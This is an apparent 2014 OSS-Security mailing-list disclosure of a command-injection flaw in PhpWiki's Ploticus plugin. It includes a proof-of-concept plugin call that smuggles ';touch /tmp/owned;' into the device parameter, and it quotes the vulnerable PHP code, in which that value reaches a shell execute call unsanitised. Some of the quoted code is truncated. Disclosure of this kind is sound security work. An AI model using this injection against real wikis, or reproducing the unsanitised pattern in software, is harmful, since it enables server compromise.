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Date: Wed, 27 Aug 2014 23:23:45 +0100
From: "Benjamin Harris" <>
Subject: PHP-Wiki Command Injection

Hi All

OSS-Security, can I get a CVE for this please?


I tried to report this a month ago, but got no response from the 
developers. This is an old vulnerability I found while dusting off 
some old hard drives.


PhpWiki is a WikiWikiWeb clone in PHP. A WikiWikiWeb is a site 
where anyone can edit the pages through an HTML form. Multiple 
storage backends, dynamic hyperlinking, themeable, scriptable by 
plugins, full authentication, ACL's.


Straight command injection in the Ploticus module. Attached is a 
working POC.

I found these notes I made:

<<Ploticus device=";touch /tmp/owned;" -prefab= -csmap= data= alt= 
help= >>
$ ls -la owned
-rw-r--r-- 1 apache apache 0 Jan 18 15:23 owned

vuln code with system execute at the bottom
controllable param is $args
           $gif = $argarray['device'];
            $args = "-$gif -o $tempfile.$gif";
                $code = $this->execute(PLOTICUS_EXE . " 
$tempfile.plo $args", $tempfile.".$gif");

['device'] is listed as an option by user when using the Politus 

example usage;
 <?plugin Ploticus device||=png [ploticus options...]
     multiline ploticus script ...


   function getImage($dbi, $argarray, $request) {
        //extract($this->getArgs($argstr, $request));
        $source =& $this->source;
        if (!empty($source)) {
            if ($this->withShellCommand($source)) {
                $this->_errortext .= _("shell commands not allowed 
in Ploticus");
                return false;
            if (is_array($argarray['data'])) { // support <!plugin-
list !> pagelists
                $src = "#proc getdata\ndata:";
                $i = 0;
                foreach ($argarray['data'] as $data) {
                    // hash or array?
                    if (is_array($data))
                        $src .= ("\t" . join(" ", $data) . "\n");
                        $src .= ("\t" . '"' . $data . '" ' . $i++ . 
                $src .= $source;
                $source = $src;
            $tempfile = $this->tempnam('Ploticus','plo');
            $gif = $argarray['device'];
            $args = "-$gif -o $tempfile.$gif";
            if (!empty($argarray['-csmap'])) {
                    $args .= " -csmap -mapfile $";
                    $this->_mapfile = "$";
            if (!empty($argarray['-prefab'])) {
                    //check $_ENV['PLOTICUS_PREFABS'] and default 
                global $HTTP_ENV_VARS;
                if (empty($HTTP_ENV_VARS['PLOTICUS_PREFABS'])) {
                    if (file_exists("/usr/share/ploticus"))
                        $HTTP_ENV_VARS['PLOTICUS_PREFABS'] = 
                    elseif (defined('PLOTICUS_PREFABS'))
                        $HTTP_ENV_VARS['PLOTICUS_PREFABS'] = 
                    $args .= (" -prefab " . $argarray['-prefab']);
            if (isWindows()) {
                $fp = fopen("$tempfile.plo", "w");
                fwrite ($fp, $source);
                $code = $this->execute(PLOTICUS_EXE . " 
$tempfile.plo $args", $tempfile.".$gif");

Many thanks,
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